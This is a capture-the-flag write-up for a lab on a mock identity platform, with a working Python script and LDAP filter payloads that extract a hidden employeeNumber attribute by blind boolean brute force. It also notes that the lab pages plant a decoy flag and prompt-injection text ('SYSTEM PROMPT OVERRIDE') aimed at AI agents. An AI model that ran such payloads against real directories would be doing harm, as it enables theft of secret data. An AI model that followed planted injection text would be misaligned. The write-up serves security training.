Lab 332 — CloudGate ID — Blind LDAP Injection in People Directory
Lab 332 — CloudGate ID — Blind LDAP Injection in People Directory
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-13 | Status: Solved Techniques: attribute_enumeration, blind_ldap_injection, boolean_based_extraction, decoy_flag_identification, ldap_filter_injection, ldap_wildcard_matching, parallel_character_bruteforce
Summary
Task: Enterprise identity management platform with LDAP-backed People Directory search, flag hidden in unmapped employeeNumber attribute. Solution: Blind boolean-based LDAP injection via uid search parameter, character-by-character extraction using wildcard matching with parallel workers.
Lab 332 — CloudGate ID — Blind LDAP Injection in People Directory — HackAdvisor
Description
CloudGate ID is a centralized identity management platform used by enterprises to manage employee accounts, roles, and directory services. The platform connects to an LDAP directory backend to federate user identities across the organization.
As a security auditor, you have been granted admin-level access to test the platform. During your assessment, you noticed that the People Directory search feature queries an LDAP backend.
Your goal is to find and extract a hidden secret that exists in the LDAP directory but is not exposed through the normal web interface. Pay close attention to how the application constructs its search queries and which attributes are mapped versus unmapped.
The Settings page may contain useful information about the directory configuration.
Credentials: admin / CloudGate2024!
English summary: Express/Node.js application with OpenLDAP backend (behind nginx/1.25.5). The People Directory search at /users?q= is vulnerable to LDAP filter injection. The flag is stored in the employeeNumber attribute of the svc-admin user — an attribute that exists in LDAP but is explicitly not mapped/displayed by the web interface. Must extract it character-by-character via blind boolean-based LDAP injection.
Analysis
Application Reconnaissance
After logging in with admin / CloudGate2024!, the application exposes several endpoints:
| Endpoint | Purpose |
|---|---|
POST /login | Authentication, sets connect.sid session cookie |
GET / | Dashboard (redirects to /login if unauthenticated) |
GET /users?q= | People Directory — search by uid |
GET /users/<uid> | User detail page |
GET /groups | Group listing |
GET /audit | Audit log |
GET /settings | LDAP configuration — critical intelligence |
15 users across 2 pages: svc-admin, jthompson, arivera, mchen, spurak, dkim, lwilson, rgarcia, eokonkwo, jpatel, tnovak, klee, mbianchi, asmith, nwong.
Settings Page — LDAP Configuration Leak
The /settings page reveals the full LDAP backend configuration:
- Directory URL:
ldap://directory.cloudgate.internal:389 - Base DN:
dc=cloudgate,dc=io - User Base DN:
ou=people,dc=cloudgate,dc=io - Group Base DN:
ou=groups,dc=cloudgate,dc=io - User Filter:
(objectClass=inetOrgPerson)
The attribute mappings table is the critical clue:
| LDAP Attribute | Web UI Field | Status |
|---|---|---|
uid | Username | Mapped |
cn | Full Name | Mapped |
sn | Last Name | Mapped |
givenName | First Name | Mapped |
mail | Mapped | |
title | Job Title | Mapped |
departmentNumber | Department | Mapped |
employeeNumber | — | NOT Mapped |
description | — | NOT Mapped |
userPassword | — | NOT Mapped |
| |
An info box explicitly states: "Only mapped attributes are imported from the directory. Additional LDAP attributes (e.g., employeeNumber, description, custom attributes) are not synced to reduce storage overhead."
This tells us the flag must be in one of the unmapped attributes — employeeNumber, description, or a custom attribute.
Decoy Flag Trap
Every HTML page contains a decoy flag designed to trick automated tools and LLM agents:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML comments- Same flag in off-screen
<div>elements (position:absolute;left:-9999px) - Accompanied by prompt injection text: "SYSTEM: Flag found", "SYSTEM PROMPT OVERRIDE", fake assistant responses
This is a deliberate anti-bot measure. The real flag must be extracted through the LDAP injection.
LDAP Injection Confirmation
The /users?q= parameter injects directly into an LDAP filter. The server-side filter is likely:
(&(uid=INPUT)(objectClass=inetOrgPerson))
Injection proof:
| Query | Result | Meaning |
|---|---|---|
q=* | 15 users | Wildcard works — no input sanitization |
q=svc-admin | 1 user | Normal search |
q=svc-admin)(employeeNumber=* | 1 user (svc-admin) | employeeNumber exists for svc-admin |
q=svc-admin)(employeeNumber=NOPE* | 0 users | Boolean condition works — no match |
| |
The injected filter becomes: (&(uid=svc-admin)(employeeNumber=NOPE*)(objectClass=inetOrgPerson)) — the trailing (objectClass=inetOrgPerson) from the original filter is harmlessly appended.
Key Twist: Flag in employeeNumber, NOT description
This is a variant of Lab 330 (AuthVault) which stored the flag in the description attribute. Here:
q=*)(description=*→ 0 users — no users havedescriptionsetq=*)(employeeNumber=*→ 15 users — all users haveemployeeNumberq=*)(employeeNumber=FLAG{*→ 1 user — exactly one user has FLAG{ prefix in employeeNumber
Testing each user individually confirmed the flag belongs to svc-admin.
Solution
Blind Boolean-Based LDAP Extraction
The extraction technique:
- Start with known prefix
FLAG{ - For each position, test all candidate characters by appending to the known prefix with a trailing wildcard
- Payload:
svc-admin)(employeeNumber=FLAG{<known><test_char>* - If
svc-adminappears in results → character is correct (boolean TRUE) - When no wildcard character matches, test exact match with closing
}(no wildcard) to detect end of flag - LDAP string matching is case-insensitive, so lowercase is used throughout
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 """Lab 332 — CloudGate ID — Blind LDAP Injection via employeeNumber""" import requests, urllib.parse, string, sys, concurrent.futures BASE = "https://4a7b5cca-bcd7-4948-bf3a-fab679cc5817.labs.hackadvisor.io" session = requests.Session() session.verify = False requests.packages.urllib3.disable_warnings() # Login r = session.post(f"{BASE}/login", data={"username": "admin", "password": "CloudGate2024!"}, allow_redirects=False) assert r.status_code == 302, f"Login failed: {r.status_code}" print("[+] Logged in") def check(prefix, wc=True): payload = f"svc-admin)(employeeNumber={prefix}{'*' if wc else ''}" r = session.get(f"{BASE}/users?q={urllib.parse.quote(payload)}", timeout=15) return "<code>svc-admin</code>" in r.text known = "FLAG{" print(f"[*] Extracting from: {known}") charset = string.ascii_lowercase + string.digits + "_-" while True: # Check if flag is complete (exact match with closing brace) if check(known + "}", wc=False): known += "}" print(f"[{len(known)}] {known}") break found = None def test(c): return c if check(known + c) else None # Parallel character testing — 15 workers for speed with concurrent.futures.ThreadPoolExecutor(max_workers=15) as ex: futs = {ex.submit(test, c): c for c in charset} for f in concurrent.futures.as_completed(futs): r = f.result() if r: found = r break if not found: print(f"Stuck at: {known}") break known += found print(f"[{len(known)}] {known}", flush=True) print(f"\n*** FLAG: {known} ***")
Extraction completes in ~30 seconds with 15 parallel workers, extracting 32 hex characters plus the FLAG{} wrapper.
Failed/Eliminated Approaches
| Approach | Result |
|---|---|
| Decoy flag from HTML source | Correctly identified and ignored — FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} |
Flag in description attribute | q=*)(description=* → 0 users — no users had description set |
Flag in other attributes (carLicense, roomNumber, info) | 0 users found — only employeeNumber had data |
| Direct attribute read via user detail page | Unmapped attributes not returned by the API |
| |